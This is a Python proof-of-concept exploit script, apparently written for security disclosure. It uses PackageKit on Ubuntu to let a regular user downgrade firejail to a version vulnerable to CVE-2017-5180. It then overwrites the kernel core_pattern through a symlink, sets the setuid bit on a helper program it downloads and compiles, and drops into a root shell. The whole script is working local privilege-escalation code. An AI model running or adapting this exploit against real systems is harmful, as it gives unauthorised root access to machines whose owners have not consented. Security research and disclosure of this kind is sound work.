#!/usr/bin/python3 # vim: noet ts=8 sts=8 sw=8 # Author: Matthias Gerstner # SUSE Linux GmbH # Date: 2018-04-05 # # Proof of concept: installation of an outdated package as a regular user via # PackageKit on Ubuntu to exploit a security defect and subsequently obtain # root privileges. # # This script is supposed to be run on Ubuntu 17.10 desktop as a regular user. # # Preconditions: # # - PackageKit must be installed (which it is by default) # # This program downloads an old version of the firejail package that carries # a valid signature and which is installed without admin permissions via # PackageKit. # # The old firejail version is vulnerable to CVE-2017-5180 and allows to gain # root privileges by writing to files normally only accessible by root. This # is a variation of the exploit used in # http://seclists.org/oss-sec/2017/q1/20. # This version of firejail prevents writing to locations in /bin, /sbin, # /etc/, /usr, /var, /home, and /lib{32,64}. This still leaves /sys/, /proc, # /run, /boot and / itself to play with. # # Since we can install any other packages we like via PackageKit, this PoC # also installs 'gcc' for compiling some helper programs. # # Even if firejail is already installed on Ubuntu it can be downgraded to the # vulnerable version due to the downgrade restriction not being enforced by # the PackageKit apt backend. # # Should an authentication prompt pop up (in a graphical environment) then # simply press cancel to make the PoC continue. from __future__ import print_function import os, sys import urllib.request import subprocess import time import functools import errno import stat # set this to False to prevent actual installation/downgrade of firejail # # gcc will still be installed if not present yet armed = True call = functools.partial(subprocess.call, close_fds = True, shell = False) check_output = functools.partial(subprocess.check_output, close_fds = True, shell = False) popen = functools.partial(subprocess.Popen, close_fds = True, shell = False) def add_space(amount): print('\n' * amount) def print_pkg_version(pkg): print("Currently installed version of {}: ".format(pkg), end = '') sys.stdout.flush() out = check_output([ "/usr/bin/dpkg", "-s", pkg ]) for line in out.decode().splitlines(): if not line.startswith("Version:"): continue parts = line.split(':') print(parts[-1], end = '', sep = '') break print() def download_url(url): base = url.split('/')[-1] print("Downloading", url, "to", base) con = urllib.request.urlopen(url) with open(base, 'wb') as fd: while True: chunk = con.read(4096) if not chunk: break fd.write(chunk) return os.path.join( os.getcwd(), base ) def run_pkcon(cmdline, force = False): pkcon = "/usr/bin/pkcon" cmdline = [pkcon, "-y"] + cmdline if not armed and not force: return print("Using command line", ' '.join(cmdline)) # use /dev/null as stdin to suppress authentication dialogs with open("/dev/null", 'r') as null: res = call( cmdline, stdin = null ) if res == 0: print("Successfully called pkcon") else: print("pkcon failed") sys.exit(1) def install_deb(deb, pkg_base): cmdline = [ "install-local", "--allow-reinstall", deb ] print("Trying to install", deb) run_pkcon(cmdline) # hint is a prefix for finding the right DEB package in the cache (e.g. # multiple gcc packages with various prefixes are downloaded) def install_package(pkg, hint): cmdline = [ "install", "--only-download", pkg ] print("Trying to download system package", pkg) run_pkcon(cmdline, force = True) candidates = [] archives_root = "/var/cache/apt/archives" # now look up the archive and install it, dependencies are implicitly # pulled in by PackageKit for archive in os.listdir(archives_root): if not archive.endswith(".deb"): continue elif not archive.startswith(pkg): continue elif not archive.startswith(hint): continue candidates.append(archive) if not candidates: print("Couldn't determine DEB package to install") sys.exit(1) elif len(candidates) > 1: print("More than one DEB install candidate found:", candidates) sys.exit(1) pkg_archive = os.path.join( archives_root, candidates[0] ) cmdline = [ "install-local", "--allow-reinstall", pkg_archive ] print("Trying to install", pkg_archive) run_pkcon(cmdline, force = True) gcc = "/usr/bin/gcc" def build_prog_from_file(src): base = os.path.splitext(src)[0] cmdline = [gcc, src, "-o", base] print("Trying to compile", src) print("Using command line", ' '.join(cmdline)) res = call(cmdline) if res == 0: print("Successfully built", src, "in", base) else: print("Failed to build", src) sys.exit(1) return os.path.join( os.getcwd(), base ) def build_prog_from_stdin(code, out): cmdline = [gcc, "-x", "c", "-o", out, "-"] print("Trying to compile", code) proc = popen(cmdline, stdin = subprocess.PIPE) proc.stdin.write(code.encode()) proc.stdin.close() res = proc.wait() if res == 0: print("Successfully built", code, "in", out) else: print("Failed to build", code) sys.exit(1) return os.path.join( os.getcwd(), out ) aged_firejail_url = "http://debian.charite.de/ubuntu/pool/universe/f/firejail/firejail_0.9.38-1_amd64.deb" aged_firejail = download_url(aged_firejail_url) add_space(3) install_deb(aged_firejail, "firejail") if armed: print_pkg_version("firejail") add_space(3) if not os.path.exists(gcc): # we need a compiler to build some source on the fly install_package("gcc", "gcc_4%3a") add_space(3) # a program that helps getting a root shell once equipped with the setuid root bit suid_exec_url = "https://www.halfdog.net/Misc/Utils/SuidExec.c" suid_exec_src = download_url(suid_exec_url) suid_exec_bin = build_prog_from_file(suid_exec_src) add_space(3) # a program that provokes a segmentation fault for the core handler to be # called by the kernel segfault_bin = build_prog_from_stdin( "int main() { int *i = 0; *i = 5; }", out = "segfault" ) add_space(3) # this script will be called as core dump handler by the kernel # we let it set the setuid bit on the suid_exec_bin fake_core_handler_script = """#!/bin/bash suid_exec={suid_exec} chown root:root "$suid_exec" chmod 4777 "$suid_exec" """ fake_core_handler_path = os.path.join( os.getcwd(), "fake_core_handler") print("Writing fake core handler to", fake_core_handler_path) with open(fake_core_handler_path, 'w') as fd: fd.write(fake_core_handler_script.format( suid_exec = suid_exec_bin )) # make it executable for everybody os.chmod(fake_core_handler_path, 0o755) # firejail copies the .asoundrc and .Xauthority file into the private home # directory we specify. for this exploit we go for the .asoundrc. # # this needs to contain the value we want to write into the core_pattern proc # file. print("Writing .asoundrc with core_pattern path") with open(os.path.expanduser("~/.asoundrc"), 'w') as fd: fd.write("|{}".format(fake_core_handler_path)) firejail_home = os.path.expanduser("~/firejail") try: os.makedirs(firejail_home) except OSError as e: if e.errno != errno.EEXIST: raise proc_core_pattern = "/proc/sys/kernel/core_pattern" print("Setting up .asoundrc symlink in private home") # create a symlink to the core_pattern file where the firejail setuid binary # will happily write our original .asoundrc content to. try: os.symlink(proc_core_pattern, os.path.join(firejail_home, ".asoundrc")) except OSError as e: # if it exists let's hope it's a good one ;) if e.errno != errno.EEXIST: raise # now let's put things into motion print("Calling firejail to trigger exploit") cmdline = ["/usr/bin/firejail", "--private=" + firejail_home, "/usr/bin/id"] print("Using command line", ' '.join(cmdline)) call( cmdline ) # by now we should have the new core_pattern value print("Calling", segfault_bin, "to trigger core dump handler") call( segfault_bin ) # sleep a bit for the handler to be called for sure time.sleep(5) st = os.stat(suid_exec_bin) if (st.st_mode & stat.S_ISUID) == 0: print("No setuid bit present on", suid_exec_bin, "! Exploit failed") sys.exit(1) # by now our fake core handler should have been called and our setuid helper # binary should be correctly equipped with setuid root. print("Entering root shell") call( [suid_exec_bin, "/bin/bash"] )